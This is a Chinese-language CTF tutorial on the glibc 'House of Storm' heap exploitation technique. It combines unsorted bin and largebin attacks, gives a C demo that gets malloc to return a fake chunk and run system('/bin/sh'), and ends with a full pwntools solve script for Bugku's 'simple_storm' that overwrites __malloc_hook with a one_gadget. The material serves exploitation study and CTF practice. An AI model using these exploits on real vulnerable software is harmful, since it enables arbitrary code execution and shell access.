堆Pwn：House Of Storm利用手法

介绍

利用手法的背景：

House Of Storm是一种结合了unsorted bin attack和Largebin attack的攻击技术，其基本原理和Largebin attack类似。但不同的是，Largebin attack只可以在任意地址写入堆地址，而house of storm 则可以导致任意地址分配chunk，也就是说可以造成任意地址写的后果，危害性大。不过，house of storm 虽然危害大，但其利用条件也是十分苛刻的。

该利用手法适用于glibc 2.28及以下的版本，因为unsorted bin attack在glibc 2.29中已失效。

利用条件：

需要unsorted bin中的bk指针可控；
需要largebin中的bk指针和bk_nextsize指针可控；
需要在largebin和unsorted bin中分别布置一个chunk，同时需要这两个chunk在归为之后处于同一个largebin的index中，且unsorted中的chunk要比largebin中大；

前置了解：

需要了解unsorted bin attack和Largebin attack攻击手法。

下面会先大概介绍一下这两种攻击手法，并说明如何结合变成house of storm。

前置的利用手法

Unsorted Bin Attack：

该攻击手法可以达到任意地址写一个libc地址(即unsorted_chunks(av))的效果。unsorted bin attack发生在malloc时，对unsorted bin 中的chunk脱链时刻。图中的文字注明已经很清楚了，只要将unsorted bin的末尾chunk的修改为target - 0x10处，则在chunk脱链后，前后chunk进行fd/bk互连的过程中，会将target处赋值为一个libc地址。

但大家往往只关注到了target处被赋值了，其实unsorted_chunks(av) → bk同时也被赋值为了target - 0x10。

注意，在libc2.29中，这部分加入了双链表检查。这表明从libc2.29开始，unsorted bin attack手法就无法使用了。

Largebin Attack：

该利用手法的本质和unsorted bin attack一样，都是基于双链表互连过程中发生的。不过由于在large bin中，有靠fd/bk相连的双链表和靠fd_nextsize/bk_nextsize相连的双链表，所以可以对任意两处的地址进行赋值，赋值为堆地址（victim，从unsorted bin中脱链出来的chunk）。

2.23 ~ 2.29版本中largebin attack的利用点，在2.30及以后的版本中，这里加入了双链表检测，所以在libc2.30及以后，该处的largebin attack无法使用了。

Buffer叠加：

这里说一下unsorted bin attack和largebin attack如何叠加，变成house of storm，达到任意地址分配chunk的效果。

在unsorted bin中的chunk脱链，然后链接到large bin的过程中，可以同时进行这两种攻击。为之，所以我们需要在large bin中布置一个chunk，并且在unsorted bin中布置一个size稍大于largebin的chunk，使其能够链接在large bin中chunk的后面。

house of storm中，unsorted bin attack主要用到的是unsorted_chunks(av) → bk同时也被赋值为了fake（只是一个记号）。在下次申请chunk，使其进入unsorted bin的分支时，victim = unsorted_chunks(av) → bk（即fake），紧接着会有一个分支检查其size是否满足申请。只要满足了，则会直接分配fake处为chunk返回。现在，我们的关键点就是如何使用largebin attack使得其size发生稳定的改变。

我们已经知道largebin attack是向任意地址赋值堆地址。在64字长的系统中，地址寻址为8字节，但堆地址只占5个字节，而特别的是仅已0x55或0x56开头。那么只要我们通过largebin attack向fake + 0x3处，赋值一个堆地址，则以fake为chunk的size处为0x55或者0x56。这样，就成功的修改了size。

注意小端序的问题：

Demo示例

// gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
    char chunk_head[0x10];
    char content[0x10];
}fake;

int main(void)
{
    unsigned long *large_bin,*unsorted_bin;
    unsigned long *fake_chunk;
    char *ptr;

    unsorted_bin=malloc(0x418);
    malloc(0X18);
    large_bin=malloc(0x408);
    malloc(0x18);

    free(large_bin);
    free(unsorted_bin);
    unsorted_bin=malloc(0x418);
    free(unsorted_bin);

    fake_chunk=((unsigned long)fake.content)-0x10;
    unsorted_bin[0]=0;
    unsorted_bin[1]=(unsigned long)fake_chunk;

    large_bin[0]=0;
    large_bin[1]=(unsigned long)fake_chunk+8;
    large_bin[2]=0;
    large_bin[3]=(unsigned long)fake_chunk-0x18-5;

    ptr=malloc(0x48);
    strncpy(ptr, "/bin/sh", 0x48 - 1);
    system(fake.content);
}

该代码展示的最终目标是分配chunk到fake_chunk。

代码16~19行，分配了两个large bin范围的chunk，并隔开。稍大的chunk后面会被调(tiao)到unsorted bin中，稍小的chunk会被free到large bin中。

代码21~24行，先将两个chunk free到unsorted bin中（头插法，先进先出）。然后malloc稍大的那个chunk使稍小的chunk进入large bin中，最后再次free掉稍大的chunk，使其进入unsorted bin。这样就满足的第三个条件。

后面就是对bk和bk_nextsize指针进行操控：

//代码26 ~ 33
 
    fake_chunk=((unsigned long)fake.content)-0x10;
//unsorted_bin->bk = fake_chunk
//则fake_chunk->fd = unsorted_chunks(av),不过似乎没有发挥使用
//重点是：unsorted_chunks(av)->bk = fake_chunk
    unsorted_bin[0]=0;
    unsorted_bin[1]=(unsigned long)fake_chunk;

    large_bin[0]=0;
    large_bin[1]=(unsigned long)fake_chunk+8;
    large_bin[2]=0;
//(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
//即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
    large_bin[3]=(unsigned long)fake_chunk-0x18-5;

/*其实,largebin attack部分这样也可以：
*    large_bin[0]=0;
*   large_bin[1]=(unsigned long)fake_chunk-0x8-5;
*   large_bin[2]=0;
*   large_bin[3]=(unsigned long)fake_chunk-0x8;
*因为有两处可以修改任意地址
*/

malloc(0x48)：申请0x50大小的chunk，chunk中size为0x55/0x56的大小也会被归为0x50这一级别。malloc(0x48)这一过程中，把unsorted_bin脱链，并链接到了large bin中。

这里需要size为0x56才能分配chunk成功，0x55是会发生报错的。其原因是因为从_int_malloc返回到_libc_malloc后，还会有个断言对chunk进行检查：

/*
    #define arena_for_chunk(ptr) \
        (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
    
    过以下检测需要满足的要求，只需满足一条即可
    1. victim 为 0
    2. IS_MMAPPED 为 1
    3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

0x56：0101 0110，满足第二个。

0x55：0101 0101，不满足，会报错。

因为系统一般会开ASLR，所以0x56、0x55发生的概率差不多，crash的话，多试几次就好了。

题目实践

bugku的simple_storm：

链接：https://pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取码：lele

静态分析程序，delete函数里面存在UAF漏洞，那就可以随便玩了。

这里使用house of storm手法，应该还有其他方法。

具体思路就不说了，和上面的示例基本一模一样，这里getshell是通过覆盖malloc_hook为one_gadget。需要注意的是选择fake_chunk位置时，size位不能有数据，要为空。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./simple_storm")
#io = remote("114.67.175.224", 12327)
libc = ELF("./libc-2.23.so")

def add(size):
    io.sendlineafter("Your choice?", "1")
    io.sendlineafter("Size?", str(size))

def delete(idx):
    io.sendlineafter("Your choice?", "2")
    io.sendlineafter("Index?", str(idx))

def edit(idx, content):
    io.sendlineafter("Your choice?", "3")
    io.sendlineafter("Index?", str(idx))
    io.sendlineafter("Content?", content)

def show(idx):
    io.sendlineafter("Your choice?", "4")
    io.sendlineafter("Index?", str(idx))

def debug():
    gdb.attach(io)
    pause()

add(0x400) #0
add(0x18)  #1
add(0x410) #2
add(0x18)  #3
delete(0)
show(0)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
libc_base = main_arena - 0x3c4b20
print("@@@ main_arena = " + str(hex(main_arena)))
print("@@@ libc_base = " + str(hex(libc_base)))

delete(2)
add(0x410) #4
delete(4)

ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
malloc_hook = main_arena - 0x10
fakechunk = malloc_hook - 0x50
edit(4, p64(0) + p64(fakechunk))
edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5))
add(0x48) #5
edit(5, p64(ogg[1] + libc_base)*9)
add(0x20)
io.interactive()

星盟安全团队